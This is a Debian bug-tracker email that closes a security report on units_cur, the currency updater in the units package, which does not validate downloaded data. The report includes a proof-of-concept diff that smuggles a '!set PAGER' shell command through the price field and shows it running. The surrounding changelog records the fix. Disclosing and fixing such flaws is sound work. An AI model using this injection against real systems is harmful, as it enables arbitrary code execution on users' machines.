Your message dated Mon, 22 Oct 2018 08:39:10 +0000
with message-id <[email protected]>
and subject line Bug#902935: fixed in units 2.18-1
has caused the Debian Bug report #902935,
regarding units_cur: missing input validation
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)
--
902935: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=902935
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: units
Version: 2.17-1
Tags: security
units_cur does no sanitization of the data it downloads. Malicious
operators of the servers or man-in-the-middle attackers[*] could exploit
this to execute arbitrary code.
As a proof of concept, I patched units_cur to emulate Yahoo returning
malicious data. After updating the data, /var/lib/units/currency.units
looks like this:
southkoreawon 1|0
!set PAGER cowsay${IFS}pwned;exit;
# US$
And this happens:
$ units
Currency exchange rates from finance.yahoo.com on 2018-07-03
3048 units, 109 prefixes, 109 nonlinear units
You have: help kg
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Conveniently, all the data in downloaded over HTTP, so there's no
authentication.
--
Jakub Wilk
--- unpacked/usr/bin/units_cur 2018-06-26 23:03:38.000000000 +0200
+++ /usr/bin/units_cur 2018-07-03 18:43:02.089540024 +0200
@@ -279,6 +279,7 @@
'/allcurrencies/quote?format=json')
res.raise_for_status()
webdata = res.json()['list']['resources']
+ webdata[0]['resource']['fields']['price'] = '0\n!set PAGER cowsay${IFS}pwned;exit;\n#'
except requests.exceptions.RequestException as e:
stderr.write('Error connecting to currency server:\n{}.\n'.
format(e))
--- End Message ---
--- Begin Message ---
Source: units
Source-Version: 2.18-1
We believe that the bug you reported is fixed in the latest version of
units, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Stephen Kitt <[email protected]> (supplier of updated units package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Format: 1.8
Date: Mon, 22 Oct 2018 10:22:02 +0200
Source: units
Binary: units
Architecture: source
Version: 2.18-1
Distribution: unstable
Urgency: medium
Maintainer: Stephen Kitt <[email protected]>
Changed-By: Stephen Kitt <[email protected]>
Description:
units - converts between different systems of units
Closes: 902935 910503
Changes:
units (2.18-1) unstable; urgency=medium
.
* New upstream release.
- New currency sources replace the Yahoo! service which is no longer
available. Closes: #910503.
- Downloaded data is validated before being interpreted.
Closes: #902935.
* Set “Rules-Requires-Root: no”.
* Standards-Version 4.2.1, no further change required.
Checksums-Sha1:
3f873f8e7ca91edea0cf42019c79ff00954fdffb 1824 units_2.18-1.dsc
3ba440bf75390714345185481abb730569caf927 1248892 units_2.18.orig.tar.gz
65629fe731aea8112001675799c8773750c84ca3 10292 units_2.18-1.debian.tar.xz
19a68ae76d12e60a1556ddd6e925eff580071700 6957 units_2.18-1_source.buildinfo
Checksums-Sha256:
4d43186591db4379375eec2efe35a8b92c5ddd1264bcf8495e4f4d14a6b1e96f 1824
units_2.18-1.dsc
64959c231c280ceb4f3e6ae6a19b918247b6174833f7f1894704c444869c4678 1248892
units_2.18.orig.tar.gz
e7a79d5d9bf249b803a8f61690ac6197b61829021d6c4ba9f2f025080b7abc08 10292
units_2.18-1.debian.tar.xz
b1f4f177e2b6b62ef353ac5792070dc52b88a81397a54dd2a03537585cb591f9 6957
units_2.18-1_source.buildinfo
Files:
1411e3e2a5e8af7e8dad0c637f873125 1824 utils optional units_2.18-1.dsc
402395abfc0cc3bba6a76ee4c118bc72 1248892 utils optional units_2.18.orig.tar.gz
3c96dd085051663b6d07efed334a4e91 10292 utils optional
units_2.18-1.debian.tar.xz
6d4b5322218eecadce8ddc00bfc95b84 6957 utils optional
units_2.18-1_source.buildinfo
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEnPVX/hPLkMoq7x0ggNMC9Yhtg5wFAlvNiL4ACgkQgNMC9Yht
g5z3rg//dRU6WEkoN3WjV9FOZSdg3gD82qE4ab905kFInfPrFXkoxvD0yAduz5mE
sp2v7v2Z7kk5fcD6BS19501EZ3KbQVUIO0DGAYjZQn0G9DN2woNUVpdCcjKuq0hx
bkSt3YLGS54BduKdaiXhnz6Xs1PuYTVkcUO2tBhWZmAAN8KmOuGuCQwI260VPIhl
fm9aVBanhBccy4DvnV1j9YELvSfgYBMcBgmn1kncGxh5uszwp0r/huru/zHgPvE8
zDi5SMM7/eqAr4rTd/t3kYLe8vezR+7mxtB4DioerVbIk3uJExsXOtIlYOBXcB+I
dRnzbt3p7wArjhCBitUyM3bp2N2iXdFx98IufTD0TIECkMRiAE9Bfg2a9e22STWw
183EkkVKVNmPk+qilk+eL/bYw4pmDhiD9uW33Dd4JR9/PdsyNxEU/pmWg0/ESoTm
MjGBUgzOMuIkyGryccq/J4LqNbUur5LUd7yC7qPeLDaIZvmOD15ipnQew1SW+1q9
EijLsDNrDoZcVI9K/+jQ51X4ET3fRYrivym8tlYAW3pmDQ0OrtltMC/VrCYlWfqT
7A76qzGKS7ZSKR3l0fBVXXMIoC6V74HOEsD9DYod17iAljh6uw7sBkz4P7BdEGrH
oQalewT0K+RrRrjgqOFSQS0IDfTCMI3a4u8rK48/Pe6qKfuKQWI=
=R+pJ
-----END PGP SIGNATURE-----
--- End Message ---
